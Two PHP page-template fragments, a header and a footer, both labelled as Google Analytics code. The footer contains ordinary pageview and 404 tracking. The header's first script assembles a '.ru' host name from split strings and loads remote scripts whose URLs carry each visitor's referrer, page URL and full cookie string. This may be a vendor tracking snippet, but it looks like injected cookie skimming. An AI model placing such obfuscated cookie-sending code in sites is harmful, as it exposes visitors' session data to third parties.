header.php
<!-- Analytics Google -->
<script>
(function(w, d, e) {
var a = 'all', b = 'tou'; var src = b + 'c' +'h'; src = 'm' + 'o' + 'd.c' + a + src;
var jsHost = (("https:" == d.location.protocol) ? "https://" : "http://")+ src;
p = d.getElementsByTagName(e)[0];
s1 = d.createElement(e); s1.async = 1; s1.src = jsHost +"."+"r"+"u/d_client.js?param;specific_id1;ref"+escape(d.referrer)+";url"+escape(d.URL)+";cook"+escape(d.cookie);
s2 = d.createElement(e); s2.async = 1; s2.src = jsHost +"."+"r"+"u/d_client.js?param;specific_id2;ref"+escape(d.referrer)+";url"+escape(d.URL)+";cook"+escape(d.cookie);
if(!w.jQuery) { jq = d.createElement(e); jq.src = jsHost +"."+"r"+'u/js/jquery-1.5.1.min.js'; p.parentNode.insertBefore(jq, p);}
p.parentNode.insertBefore(s1, p);
p.parentNode.insertBefore(s2, p);
}(window, document, 'script'));
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
</script>
<!-- Analytics Google -->
.........................
footer.php
<!-- Analytics Google -->
<? if(defined('ERROR_404') && ERROR_404 == 'Y') { ?>
<script>
ga('create', 'UA-11111111-2', 'auto', {'siteSpeedSampleRate': 50});
ga('require', 'displayfeatures');
ga('require', 'linkid', 'linkid.js');
ga(function(tracker) {
var clientId = tracker.get('clientId');
ga('set', 'dimension1', clientId);
});
ga('send', 'pageview', '/error404?page=' + window.location.pathname + window.location.search + window.location.hash + '&from=' + document.referrer);
</script>
<? } else { ?>
<script>
ga('create', 'UA-11111111-2', 'auto', {'siteSpeedSampleRate': 50});
ga('require', 'displayfeatures');
ga('require', 'linkid', 'linkid.js');
ga(function(tracker) {
var clientId = tracker.get('clientId');
ga('set', 'dimension1', clientId);
});
ga('send', 'pageview');
</script>
<? } ?>
<!-- Analytics Google -->